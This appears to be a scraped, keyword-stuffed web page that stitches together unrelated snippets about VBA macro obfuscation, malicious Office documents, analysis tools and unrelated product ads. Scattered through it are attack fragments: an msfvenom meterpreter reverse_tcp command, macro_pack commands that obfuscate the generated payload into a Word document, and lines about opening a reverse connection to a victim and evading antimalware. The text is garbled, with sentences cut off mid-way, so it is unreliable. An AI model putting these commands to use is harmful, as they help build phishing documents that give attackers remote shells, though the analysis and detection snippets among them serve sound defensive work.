Redline TM and IOC Finder TM collect and parse a huge body of evidence from a running system. I’d further recommend using a JS obfuscator like https://obfuscator. git. I recently stumbled across this blogpost: Python Source Obfuscation using ASTs where the author talks about python source file obfuscation using the builtin AST module. Python script to obfuscate VBA (Virtual Basic for Applications) macros - BaptisteVeyssiere/vba-macro-obfuscator. May 08, 2015 · Seeing more and more macros based on this obfuscation technique, I wrote a quick and dirty Python script to help a friend. The tool’s job is to take a text string and show you various ways to obfuscate it. The compiled workbook or Excel add-in file is left with the original file extension and behaves the same way as the original file. 18. It explains how to configure Visual Studio for obfuscation. Payment is by Paypal. So, finally what I did was: 1. Some useful functions to obfuscate our macro are used to detect it. NET or C# Code. zip - 2. com/nvidia-white-nmgtu/l1dmjqfebvvx. Let me generate the malicious VBA code with Msfvenom. ppt, . It is a temporary name assigned to the table or table column for the purpose of a particular SQL query. See full list on security-soup. tar. com/sevagas/macro_pack/releases/ Obfuscate the vba file generated by msfvenom and put result in a new vba file. Dec 11, 2019 · Obfuscation can be used to evade the existing endpoint. A command line tool written in python. I wrote two posts for this machine, first one solving it with kali and the other one solving it with commando vm, you can find the second post here. pub • Word 2003 XML • Word 2007+ XML (FlatOPC) • MHT/ActiveMime . com/excel-vba-code-obfuscation. git with an embedded vba script to open a reverse connection between you and your victim. Obfuscate Obfuscate(Secure, [Character]) Secure {String} Message to obfuscate. ). In all cases, the adversary tries to lure the victim that the document is valid and some technical issue, due to, e. before the amazing and magical unicorn https://github. Table of content [suspicious] Macro with DLL Reference: Detected macro logic that will load additional functionality from Dynamically Linked Libraries (DLLs). Macro_pack is "used to automatize obfuscation and generation of  A VBA parser and emulation engine to analyze malicious macros. Extract suspicious code or object from the file. hide. com/JanFan/py-aho-corasick - https://github. Locked VBA project Obfuscate the vba file generated by msfvenom and put result in a new vba file. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192. It was a great windows machine covering some interesting stuff and I enjoyed it. The goal of macro_pack is to simplify exploitation, antimalware bypass, and automatize the process from malicious macro and script generation to Mar 19, 2019 · This tool "generates architecture independent VBA code to be used in Office documents or templates and automates bypassing application control and exploit mitigation software. Extract VBA Macros source code Potential IOCs URLs, IP addresses, Executable filenames, … Supported Formats: • Word . vba) payload into a word document by running the following command in Macro Pack command line interface. Macro – VBA Code When the user will open the Microsoft application which the template has been injected with the macro the code will executed and the communication will established with the command and control. doc -M The output of this command shows a lot of “weird” characters in the comments section. Here I have  When using a script, there are many ways to obfuscate the content of that script microsoft. com/decalage2/oletools/issues Filename: . This tool can be used for redteaming, pentests, demos, and social… Sep 05, 2019 · Let’s look at the following example, where obfuscation has been attempted in pseudo code by splitting a string into multiple variables before passing it to a Windows API call: 28 Sep 2016 ViperMonkey is a Python project including a VBA macro parser, a VBA However, in some cases it can be a great help to deobfuscate macros 15 Feb 2016 NET with new functionality and flexibility in order to handle PHP, Javascript, VBA, and VBS scripts. CVE-2017-0199 Thus, at end, obfuscation buys time by enforcing reversers to spend resources and time to break a code. 5 Oct 2018 Different methods of creating processes in VBA come with benefits and drawbacks. These malicious docs are embedded with macro VBA code that, when run, execute… What about porting specific non-trivial functions over to a language like C, and obfuscate that. /Invoke-Obfuscation. Microsoft Office macros continue to be one of the primary delivery mechanisms in real world attacks seen by Countercept and often present the easiest and simplest way to compromise most organisations. Read writing from Mark Mo on Medium. docm Some might suggest to try and decode the variable names, or other stuff… but don’t worry about that at all. com/bcse/1834878 It may be a decoder you'd like to take a  VBad : fully customizable VBA Obfuscation Tool combined with an MS office document generator. Jan 08, 2019 · This obfuscation again builds off of VBA ‘s interpretation of uninitialized variables. obfuscated VBA code will run in both 32/64 bit Office 2010/2013 versions, if your original code was designed to do so. FLOSS helps fight against malware authors who commonly obfuscate strings in their programs to deter static and dynamic analysis, and can extract strings that are deobfuscated by Sep 06, 2017 · Locate embedded code, such as shellcode, VBA macros, JavaScript or other suspicious objects. – Relies on Office being installed and Kernel32 API declarations in Dec 21, 2017 · VBA passwords are that easy to bypass. So you can bypass the countermeasures of the target systems like a boss until they "learn" the technique and behavior of SpookFlare payloads. cat YOUR_MACRO. GitHub will provide standard technical Support for the Software at no additional charge twenty-four (24) hours per day, five (5) days per week, excluding weekends and national U. Basic obfuscation (-o option) includes:. Fighting back against PowerShell script obfuscation Weaponization: Howto Fully Undetectable Empire Powershell MS macro (VBA obfuscation & Stomping) Oct 01, 2019 · The core concept of a dropper is to Download and to Execute a third party payload (or a second stage) and often when you analyse Office dropper you would experience many layers of obfuscation. However, here is a breakdown on how to use it: Open the Simple-Loader. @ PKU. y) chr$(x) The script reads the macro from stdin and output the decoded strings to stdout. com/0xd4d/de4dot. If I need to modify it while it is in . We can check if file or directory name contains “suspicious” character strings. obfuscated VBA code will run in both 32/64 bit Office 2010/2013 versions, if your original code was designed to do so. The only thing to work for me was to add the modified file to the original zip, so that compression options would be kept. In CobaltStrike, the following payload formats work as such: VBS: Weakens the target, creates a COM object to Excel, creates worksheet, injects VBA macro code and executes. This post provides details of the obfuscation methods used in the VBA macro and the PowerShell view raw extracted_macro. Learn and educate yourself with malware analysis, cybercrime Jan 07, 2018 · macro_pack - tool to automatize obfuscation and generation of MS Office documents for pentest Short description The macro_pack is a tool used to automatize obfuscation and generation of retro formats such as MS Office documents or VBS like format. py MZZP3648741. vba -o -G macro_obf. x stager that allows for creation of a macro which uses VBA to backdoor . In some cases, simply by decoding a Base64 banned code is enough to get around it. The macro_pack is a tool used to automatize obfuscation and generation of retro formats such as MS Office documents or VBS like format. There is still a huge area of improvement in testing which obfuscation techniques trigger what  2018 School project - PoC of malware code obfuscation in Word macros - bonnetn/vba-obfuscator. YARA Signature Match - THOR APT Scanner RULE: SUSP_Script_Obfuscation_Char_Concat RULE_SET: Livehunt - China Indicators 🇨🇳 RULE_TYPE: Community 👥 Dec 20, 2017 · In this step you need to include the previous script into a VBA Macro Excel Document: Simple Code Obfuscation (OPTIONAL) On github and on the internet there many different tools that can Sep 24, 2020 · The file mm. The document contains macros written in Visual Basic which drop a number of files to disk which run malicious code and will also create scheduled tasks so the malware can persist on disk. Some analyzed threats examples include: Step By Step Office Dropper Dissection, Spreading CVS Malware over Google I’ve put this post together to try and demonstrate how to reverse engineer heavily obfuscated malicious code. git/ hooks folder inside your repository and add the following code: See my article “ Using VBA Emulation to Analyze Obfuscated Macros“,  7 May 2018 A Node. Sep 13, 2020 · Summary. Some Best Practices Github: 3pun0x Twitter: @3pun0x anything following the VBA/exploit •Stepping through the infection Obfuscation Layers per Sample. NET Obfuscator. In fact, there is a tool available on GitHub called Invoke-Obfuscation. Using code to manipulate data and flow to organize, but I think that code some parts will be improve my development. See this article for more information and technical details about VBA Macros and how they are stored in MS Office documents. This tool has been   Github Obfuscator De-obfuscation. As of obfuscated sample we've been left with obfuscated flag. new To begin the analysis of the macro, we will drop into the VBA project making sure we don't https://gchq. com/decalage2/ViperMonkey Office Excel VBA obfuscation - Spreadsheet1 www. Jun 11, 2020 · The Gamaredon group uses a package that includes a custom Microsoft Outlook Visual Basic for Applications (VBA) project. Nov 20, 2019 · github. 22 Dec 2017 The macro_pack is a tool used to automatize obfuscation and generation of the process from vba generation to final Office document generation. Outlook Quick Modules: Quickly sort your emails and jump to any folders in seconds. link: EmlParser: Parse emails using GOVCERT-LU eml_parser library while extracting header information, attachments, URIs: link: Espresso: This service analyzes Java JAR files. The fastest tool available for Outlook to facilitate the use of multiple folders. Microsoft Access is the most popular database in the world, and FMS is the world's leading developer of Access tools and utilities! Leverage the power of Access with our award winning line of Access productivity products. g. cs; Goto Build –> Build Simple-Loader. Macro Obfuscation Like script content obfuscation, criminals use several evasive techniques to conceal malicious macro code. Macro Pack. Implemented by Troy Morehouse — https://github. github. More than 50 million people use GitHub to discover, fork, and contribute to over 100 million projects. You’ll find all the projects you’re working on listed in the sidebar. However, common payloads haven’t changed that much over time, aside from the addition of increasingly complex obfuscation. when it is dropped by VBA macro) we can verify if it is indeed executed from assumed location: Hello All, In this post I will provide you an overview about the new tool that I wrote to encrypt the shellcode using XOR & AES encryption. Obfuscation comes to make the analysis harder and harder, but once you overcome that stage you would probably see a VBA code looking like the following one. Support. The purpose is not to get surgical de-obfuscation, but rather to extract obfuscated IOCs. Bear in mind that the CLSID_HTA is a global unique identifier formed by 32 hexadecimal characters representing the Microsoft HTML   Get the latest binary from https://github. NET Framework 3. Usage. vba –o –G test. Note: I wrote the macro_pack tool to automatize generation and obfuscation of these kind of payloads (malicious Office, VBScript, HTA, LNK, etc. main changes identified in the obfuscation of the VBA code and the final Powershell payload. macro_pack is a tool used to automatize obfuscation and generation of MS Office documents for pentest, demo, and social engineering assessments. Some of these are as simple as using an obfuscation tool to make the macro code difficult to interpret, but some are much Obfuscation - My file was offered as a download on my website, because each user was clicking "download" before opening the file, I had a opportunity to modify each file being downloaded before the user opened the file. May 25, 2019 · GitHub Repository. >> However, I was able to create an interop . SQLrat is a clever piece of malware which is dropped onto the compromised machine using a malicious Word Document. This is done to obtain a shell  8 Dec 2018 git clone https://github. Many of us probably didn't even know that "Signing a deployment was made optional in the . vba It's based on Knuth's integer hash method and produces obfuscated integer  The following is the VBScript Obfuscator written in VBScript. SpookFlare is a loader/dropper generator for Meterpreter, Empire, Koadic etc. It converts numbers like 347 into strings like “yr8”, or array of numbers like [27, 986] into “3kTMd”. GitHub, Inc. Obfuscate control flow using Dotfuscator, then again "control flow" obfuscate the obfuscated exe using . In the VBA Project Explorer, the Library database follow’s the naming format of: VBA Project Name (File Name) Reference list. •Inject shellcode into the process ID of your choosing or within the context Oct 12, 2017 · As the document is first opened, embedded VBA code is automatically run via a Document_Open() subroutine contained in the ThisDocument VBA Stream as shown below. The macro_pack is a tool used to automatize obfuscation and generation of MS Office documents for pentest, demo, and social engineering assessments. exe with a Shell object – Powershell. @_markmo_ on twitter. docm • Excel . It uses the “Invoke-Obfuscation” tool to obfuscate the payloads. NET code protection. Free . So we downloaded it as well as LuckyStrike form GitHub. com GitHub Gist: instantly share code, notes, and snippets. >> And with IKVM I am able to Feb 06, 2020 · Writing a 100% evasion crypter. The concrete focus of the paper is on reversing layout obfuscation, a popular transformation which renames key program elements such as classes, packages, and methods, thus making it difficult to Jun 08, 2020 · VBA Compiler is the best alternative to the VBA code protection approaches, such as VBA code obfuscation or standard MS Excel VBA project password protection. ' Excel VBA Module for simple password obfuscation (useful when Feb 25, 2020 · The VBA code in this “VBA Purged” document downloads and executes a VBS script hosted on GitHub: VBA Purging Tools There are tools to create Office documents without any dependencies on MS Office components, like the . To start, open up MS Word and press ALT+F11 to open up the MS VBA Console. Adds modern-day features to the IDE such as static code analysis (code inspections), refactorings, navigation tools, and more. vba; Obfuscate Empire stager vba file and generate a MS Word document: macro_pack. Now is the time to exit the Excel file and to select the file that should be locked. Mar 11, 2009 · It has been quite a while since I made the switch to using Python primarily instead of VBA, but I still remember (not-so-fondly) some of the pain points I encountered on that journey, and have tried to go over them in this series so that you might be better equipped to make that journey yourself. In this blog, we will take a quick look at a recent BokBot maldoc in order to gain some insights into the operator’s TTPs along with hopefully learning a few things about Microsoft’s VBA, which appears to be an endless rabbit hole of interesting functionality. 0. I've been >> developing in Java for past 8 years and it feels almost impossible to >> jump back to a language like VBA. The output I received looked obfuscated (the snippet below has been truncated):. It provides basic obfuscation features that help secure secrets in a . Character {String} Optional Character to obfuscate with (“*” is default) Obfuscate any secure information before logging. We see obfuscated code every single day when analyzing droppers in VBA and PowerShell, so it might seem not to be a big deal. A good free code obfuscator is ConfuserEx wich is fast and simple to use and more effective than expensive alternatives. May 30, 2019 · At the ninth layer of obfuscation, we will again see the novel scrambling technique. Ghimob: a Tétrade threat actor moves to infect mobile devices It also detects and decodes several common obfuscation methods including Hex encoding, StrReverse, Base64, Dridex, VBA expressions, and extracts IOCs from decoded strings. I want to share my Malware development stroy from 0 to weaponized malware. Oct 09, 2017 · So, after removing all the obfuscation we can conclude that the VBA code calls the comment properties of the Office document. jpg . vba) payload file, -o represents the obfuscation process, and –G flag shows the generated file name and format (test. Visual Basic Obfuscation via Line Continuation Be careful while writing YARA signatures for Microsoft Office Macros. macro_pack will simplify antimalware solutions bypass and automatize the process from vba generation to final Office document generation. com It converts your VBA code into C language code and then compiles it into Windows DLL file. VBA + Invoke-Obfuscation Raw VBA Obfuscator. vba obfuscation github

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